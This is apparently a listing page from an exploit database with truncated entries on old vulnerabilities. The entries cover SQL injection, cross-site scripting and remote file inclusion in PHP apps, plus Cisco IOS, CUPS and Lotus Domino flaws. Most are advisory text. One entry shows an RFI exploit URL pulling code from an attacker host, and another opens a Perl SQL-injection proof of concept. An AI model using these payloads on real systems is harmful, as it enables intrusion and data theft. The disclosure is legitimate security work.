Words tag script 'index.php' SQL注入漏洞

BUGTRAQ ID: 31011 CNCAN ID：CNCAN-2008090508 Words tag script是一款基于PHP的WEB应用程序。 Words tag script不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。 问题由于'index.php'脚本对用户提交给'word'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 Source Workshop Words tag script 1.2 目前没有解决方案提供：...

eSyndiCat 2.2 - register.php Multiple Cross-Site Scripting Vulnerabilities

eSyndiCat 2.2 - register.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/30178/info eSyndiCat is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues t...

PlaySMS <= 0.7 SQL Injection Exploit

No description provided by source. !/usr/bin/perl PlaySMS version 0.7 and prior SQL Injection PoC Written by Noam Rathaus of Beyond Security Ltd. use IO::Socket; use strict; my $host = $ARGV0; my $remote = IO::Socket::INET-new Proto = "tcp", PeerAddr = $host, PeerPort = "80" ; unless $remote die...

Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...

phpCMS 1.1.7 - 'counter.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/21768/info phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks a...

A-Conman Common.Inc.PHP远程文件包含漏洞

A-Conman是一款基于php的WEB应用程序。 A-Conman不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Common.Inc.PHP'脚本对用户提交的'cmbasedir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 a-ConMan a-ConMan 3.2b 目前没有解决方案提供： http://www.a-conman.com/...

ActiveNews Manager - articleId SQL Injection (1)

ActiveNews Manager - articleId SQL Injection 1 source: https://www.securityfocus.com/bid/21167/info Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied...

Clever Copy 2.0 - 'categorysearch.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/14395/info Clever Copy is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code...

Cisco IOS 12.x11.x - HTTP Remote Integer Overflow

Cisco IOS 12.x11.x - HTTP Remote Integer Overflow / ..--== Phenoelit ==--.. / \ | CISCO CASUM EST | .. ../ ---==MMIII==--- Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using IOS 11.x UDP Echo memory leak for shellcode placing and address calculation. This code does support...

Cisco IOS HTTP remote exploit

Hi there, finally released, the exploit for the Cisco IOS HTTP 2GB overflow http://www.cisco.com/warp/public/707/cisco-sn-20030730-ios-2gb-get.shtml and the IOS 11.x remote sniffer using the bug described here: http://www.cisco.com/warp/public/707/cisco-sn-20030731-ios-udp-echo.shtml Exploit:...

CUPS 1.1.x - Negative Length HTTP Header

CUPS 1.1.x - Negative Length HTTP Header source: https://www.securityfocus.com/bid/6437/info A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems. An attacker can exploit this vulnerability by connecting to a vulnerable system...

Lotus Domino Server 5.0.x - Directory Traversal (2)

Lotus Domino Server 5.0.x - Directory Traversal 2 source: https://www.securityfocus.com/bid/2173/info It is possible for a remote user to gain access to any known file residing on the Lotus Domino Server 5.0.6 and previous. A specially crafted HTTP request comprised of '.nsf' and '../' along with...